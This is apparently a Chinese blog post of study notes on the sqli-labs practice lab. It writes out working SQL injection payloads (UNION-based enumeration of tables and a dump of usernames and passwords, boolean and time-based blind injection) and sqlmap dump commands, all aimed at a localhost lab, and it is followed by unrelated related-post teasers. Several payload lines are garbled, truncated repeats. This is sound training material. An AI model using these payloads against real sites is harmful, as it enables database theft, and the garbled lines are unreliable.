sqli-labs学习笔记 DAY2
DAY2
sqli-labs lesson 2
- 手工注入
- URL:http://localhost/sqli-labs-master/Less-2/
- Parameter:id
- 注入点检测:id=2;–+
- 回显点检测:id=2+UNION+SELECT+1,2,3;–+
- 字段数猜解:id=2+ORDER+BY+3;–+
- 获取当前数据库:id=99+UNION+SELECT+1,database(),3;–+
- 获取security数据库的表:id=99+UNION+SELECT+1,group_concat(table_name),3+FROM+information_schema.tables+WHERE+table_schema=‘security’;–+
- 获取users表的字段:id=99+UNION+SELECT+1,group_concat(column_name),3+FROM+information_schema.columns+WHERE+table_schema=‘security’+AND+table_name=‘users’;–+
- 获取users表的记录:id=99+UNION+SELECT+1,group_concat(username),group_concat(password)+FROM+security.users;–+
- sqlmap
- 命令:python sqlmap.py
- 注入点检测:python sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=0
- 获取当前数据库:python sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=0 --current-db
- 获取数据库所有表:python sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=0 -D security --tables
- 获取users表所有字段:python sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=0 -D security -T users --columns
- 获取users表所有记录:python sqlmap.py -u http://localhost/sqli-labs-master/Less-2/?id=0 -D security -T users -C username,password --dump
sqli-labs lesson 3
- 手工注入
- URL:http://localhost/sqli-labs-master/Less-3/
- Parameter:id
- 该题与lesson 2相同,只不过在单引号后面加一个)。这一点可以通过利用上一题的检测方法检测时的报错知晓。
- sqlmap
- 与上一题完全相同
sqli-labs lesson 4
- 手工注入
- URL:http://localhost/sqli-labs-master/Less-4/
- Parameter:id
- 该题与lesson 2相同,只不过在单引号换成双引号。这一点可以通过利用上一题的检测方法检测时的报错知晓。
- sqlmap
- 同lesson 2
sqli-labs lesson 5
- 手工注入
- URL:http://localhost/sqli-labs-master/Less-5/
- Parameter:id
- 布尔型注入
- 检测:http://localhost/sqli-labs-master/Less-5/?id=1’+AND+0;--+
- 说明:如果存在注入点,网页返回与id=1的结果不同,如果把0改成1,则相同
- sql的if函数:if(CONDITION, A, B) 条件成立,返回A,否则返回B
- 长度函数:length(STRING)
- 字符串截取
- 检测数据库名长度:http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(length(database())=n,1,0);–+
- 也可以用不等号来进行二分法猜解
- 猜测数据库名:http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a’,1,0);–+
- left()函数:left(STRING, LENGTH)返回字符串左边LENGTH个字符
- substring(string, pos, length)返回字符串string从pos开始的length长度的子字符串
- 也可以使用ascii()函数把字符转成ascii来二分法猜解
- 可以借助Burpsuit实现半自动化简化过程,通过返回网页的长度来判断返回值

http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
- http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a利用延迟来注入
- http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
- http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a检测:http://localhost/sqli-labs-master/Less-5/?id=1’+AND+SLEEP(5);--+
- 说明:如果存在注入点,网页的返回会延迟5S,可以通过开发者工具观察返回时间的变化
- sql的if函数:if(CONDITION, A, B) 条件成立,返回A,否则返回B
- 长度函数:length(STRING)
- 字符串截取
- 检测数据库名长度:http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(length(database())=n,SLEEP(5),1);–+
- 也可以用不等号来进行二分法猜解
- 猜测数据库名:http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a’,SLEEP(5),1);–+
- 字段数、表名等语法类似
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
- sqlmap
- 同lesson 2
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
http://localhost/sqli-labs-master/Less-5/?id=1’+AND+if(left(database(),1)=" a
sqli-labs学习笔记 DAY2的更多相关文章
- 《从零开始学Swift》学习笔记(Day2)——使用Web网站编写Swift代码
Swift 2.0学习笔记——使用Web网站编写Swift代码 原创文章,欢迎转载.转载请注明:关东升的博客 Swift程序不能在Windows其他平台编译和运行,有人提供了一个网站swiftstub ...
- Python学习笔记 - day2 - PyCharm的基本使用
什么是IDE 开始学习的小白同学,一看到这三个字母应该是懵逼的,那么我们一点一点来说. 既然学习Python语言我们就需要写代码,那么代码写在哪里呢? 在记事本里写 在word文档里写 在sublim ...
- python网络爬虫与信息提取 学习笔记day2
Day2: 查看robots协议: 查看京东的robots协议 查看百度的robots协议,可以看到百度拒绝了搜狗的爬虫233 爬取京东商品页面相关信息: import requests url = ...
- oracle学习笔记day2
第三章:单值函数 函数分为: 1.单值函数 1.字符函数 2.日期函数 3.转换函数 4.数字函数 2.分组函数(后面的章节再做学习) 哑表dual dual是一个虚拟表,用来构成select的语法规 ...
- Sqli - Labs 靶场笔记(一)
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...
- Python学习笔记——Day2
一.集成开发环境 集成开发环境(IDE,Integrated development Enviroment)是用于提供程序开发环境的应用程序,一般包括代码编辑器.编译器.调试器和图形用户界面等工具.集 ...
- [python学习笔记]Day2
摘要: 对象 对于python来说,一切事物都是对象,对象基于类创建: 注:查看对象相关成员 var,type,dir 基本数据类型和序列 int内部功能 class int(object): def ...
- 学习笔记DAY2
Pycharm使用 1.添加模板 file => settings =>Editor=>file and code template => python script => ...
- python学习笔记-Day2 Numpy数组
1. 实现两个数组相加,在数据量特别大的时候 产生数组: (1) 从列表产生数组:a=[0,1,2,3] a=np.array(1) a (2) 从列表传入 a=np.array([1,2,3,4 ...
随机推荐
- PDO介绍(16)
安装PDO PDO的数据选项 链接到数据库服务器并选择数据库 错误处理 获取和设置属性 查询执行 准备语句介绍 获取数据 设置绑定列 处理事务
- HashMap源码阅读与解析
目录结构 导入语 HashMap构造方法 put()方法解析 addEntry()方法解析 get()方法解析 remove()解析 HashMap如何进行遍历 一.导入语 HashMap是我们最常见 ...
- 【星云测试】Wings-让单元测试智能全自动生成
Wings-让单元测试智能全自动生成 前言 单元测试是保证软件质量非常有效的手段,无论是从测试理论早期介入测试的理念来看或是从单元测试不受UI影响可以高速批量验证的特性,所以业界所倡导的测试驱动开发, ...
- mysql数据库锁简介
本篇介绍有关数据库锁相关的知识,关于数据库事务及隔离级别参见<数据库事务ACID特性及隔离级别>这篇文. 乐观锁 乐观锁最常用的实现方式是用数据版本(Version)记录机制.数据版本 ...
- oracle 子查询的几个种类
1.where型子查询: select cat_id,good_id,good_name from goods where good_id in (selct max(good_id) from go ...
- oracle json 解析函数
CREATE OR REPLACE TYPE ty_tbl_str_split IS TABLE OF ty_row_str_split;CREATE OR REPLACE TYPE ty_row_s ...
- ABAP术语-World Wide Web
World Wide Web 原文:http://www.cnblogs.com/qiangsheng/archive/2008/03/21/1115728.html Internet service ...
- 【Linux】管理文件系统
文件系统概念: 文件系统是指文件的组织与管理结构,是一个有关于磁盘中各种有用信息的记录——即是保存以下信息的结构记录表 当前所使用磁盘的容量信息 磁盘的可用信息,包括已占用和剩余的空间: 文件与目录的 ...
- ionic 环境搭建
1.安装nodejs (8.4.0) 下载地址 https://nodejs.org/zh-cn/ 2.Java jdk 版本号 jdk1.8.0_121 3.安装 cordova npm ins ...
- 大数据时代的结构化存储--HBase
迄今,相信大家肯定听说过 HBase,但是对于 HBase 的了解可能仅仅是它是 Hadoop 生态圈重要的一员,是一个大数据相关的数据库技术. 今天我带你们一起领略一下 HBase 体系架构,看看它 ...